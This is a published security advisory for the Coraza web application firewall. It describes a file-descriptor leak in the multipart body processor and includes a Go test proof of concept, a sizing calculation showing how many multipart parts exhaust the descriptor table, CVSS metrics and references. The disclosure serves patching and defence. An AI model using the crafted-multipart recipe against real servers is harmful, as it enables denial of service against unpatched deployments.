Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor
Description
## Summary `defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition. ## Details `internal/bodyprocessors/multipart.go`, line 69: ```go for { p, err := mr.NextPart() // ... temp, err := os.CreateTemp(storagePath, "crzmp*") defer temp.Close() // wrong scope io.Copy(temp, p) } ``` Each iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously. The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table. Fix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it. ## PoC Tested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64. Add this file at `internal/bodyprocessors/poc_fd_test.go` and run: ```text go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/... ``` ```go package bodyprocessors_test import ( "fmt" "os" "strings" "sync" "sync/atomic" "testing" "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" ) func countFDs() int { e, _ := os.ReadDir("/proc/self/fd") return len(e) } func TestMultipartFDLeak(t *testing.T) { boundary := "testboundary" var sb strings.Builder for i := 0; i < 500; i++ { fmt.Fprintf(&sb, "--%s\r\n", boundary) fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i) sb.WriteString("\r\n") sb.WriteString("X\r\n") } fmt.Fprintf(&sb, "--%s--\r\n", boundary) mp, _ := bodyprocessors.GetBodyProcessor("multipart") baseline := countFDs() var peak int64 done := make(chan struct{}) var wg sync.WaitGroup wg.Add(1) go func() { defer wg.Done() for { select { case <-done: return default: n := int64(countFDs()) for { cur := atomic.LoadInt64(&peak) if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) { break } } } } }() v := corazawaf.NewTransactionVariables() mp.ProcessRequest(strings.NewReader(sb.String()), v, plugintypes.BodyProcessorOptions{ Mime: "multipart/form-data; boundary=" + boundary, StoragePath: t.TempDir(), }) close(done) wg.Wait() t.Logf("baseline=%d peak=%d spike=+%d", baseline, atomic.LoadInt64(&peak), atomic.LoadInt64(&peak)-int64(baseline)) } ``` Output: ```text baseline=7 peak=506 spike=+499 ``` The spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline. ## Impact - **No authentication required.** Any endpoint that accepts multipart uploads is affected. - **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1. - **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload. - **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either. - **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.
CVSS v3.1 base metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LMedium severity
Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.
AV
Network
Attack Vector
AC
Low
Attack Complexity
PR
None
Privileges Required
UI
None
User Interaction
S
Unchanged
Scope
C
None
Confidentiality
I
None
Integrity
A
Low
Availability
Affected
- Vendor
- Go
- Product
- github.com/corazawaf/coraza/v3
Versions
- pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0
Stated as the source expressed them.
References
- advisoryOSV GHSA-rp9v-7xv3-r6g3https://osv.dev/vulnerability/GHSA-rp9v-7xv3-r6g3
- otherOSV webhttps://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3
- otherOSV webhttps://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c
- vendorOSV packagehttps://github.com/corazawaf/coraza
- otherOSV webhttps://github.com/corazawaf/coraza/releases/tag/v3.8.0
Related threats
same CWE or vendorCVE-2026-107392 — music-metadata is a metadata parser for audio and video media files.
CVE-2026-107392 · 3h ago
CVE-2026-107391 — music-metadata is a metadata parser for audio and video media files.
CVE-2026-107391 · 3h ago
CVE-2026-95209 — An issue in gnutls v3.8.13 causes legitimate CA certificates to be rejected, leading to a Denial of Service (DoS).
CVE-2026-95209 · 4h ago
CVE-2026-84276 — IBM Guardium Data Protection 12.2.2 is affected by a denial-of-service vulnerability in the edge-controller.
CVE-2026-84276 · 4h ago
CVE-2026-107386 — amqp091-go is a Go AMQP 0.9.1 client.
CVE-2026-107386 · 4h ago
CVE-2026-95184 — Improper certificate validation in gnutls v3.8.13 causes the application to reject legitimate certificates for valid users, leading to a Denial of …
CVE-2026-95184 · 5h ago